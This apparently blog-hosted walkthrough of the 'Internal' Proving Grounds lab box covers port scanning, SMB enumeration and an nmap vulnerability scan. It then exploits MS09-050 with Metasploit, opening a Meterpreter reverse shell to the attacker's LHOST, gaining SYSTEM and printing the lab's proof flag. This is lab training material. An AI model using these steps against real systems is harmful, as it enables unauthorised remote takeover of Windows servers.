Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🟦

Internal — Proving Grounds (192.168.112.40)

sudo rustscan -a $target -- -A -sC

#proving grounds#pg#walkthrough#boxes#os:windows#os:linux#tech:cve

Internal — Proving Grounds (192.168.112.40)

Information Gathering

🐺 howlsec@kali
$sudo rustscan -a $target -- -A -sC
$ 
$53/tcp    open  domain        Microsoft DNS 6.0.6001 (Windows Server 2008 SP1)
$135/tcp   open  msrpc         Microsoft Windows RPC
$139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
$445/tcp   open  microsoft-ds  Windows Server (R) 2008 Standard 6001 SP1 (workgroup: WORKGROUP)
$3389/tcp  open  ms-wbt-server Microsoft Terminal Service (Target_Name INTERNAL, DNS_Computer_Name internal)
$5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0
$49152-49158/tcp open msrpc    Microsoft Windows RPC

SMB (445) enumeration {toggle="true"}

🐺 howlsec@kali
01```shell

smbmap -H 192.168.112.40 smbclient -L //192.168.112.40 smbclient -L //192.168.112.40 -U "anonymous"

Nmap SMB vuln scan flagged CVE-2009-3103 (SMBv2 Negotiation Vulnerability, MS09-050)

nmap --script=smb-vuln* $target -p 445 | smb-vuln-cve2009-3103: VULNERABLE (CVE-2009-3103) | smb-os-discovery: Windows Server (R) 2008 Standard 6001 SP1 ```

Foothold: MS09-050 via Metasploit

🐺 howlsec@kali
$sudo msfconsole
$msf > search ms09-050
$msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
$msf > set LHOST 192.168.45.198
$msf > set RHOSTS 192.168.112.40
$msf > run
$[*] Meterpreter session 1 opened
$meterpreter > shell
$C:\Windows\system32>whoami
$nt authority\system
$ 
$C:\Users\Administrator\Desktop>type proof.txt
$ef8b042d0288441f3301d494b857857b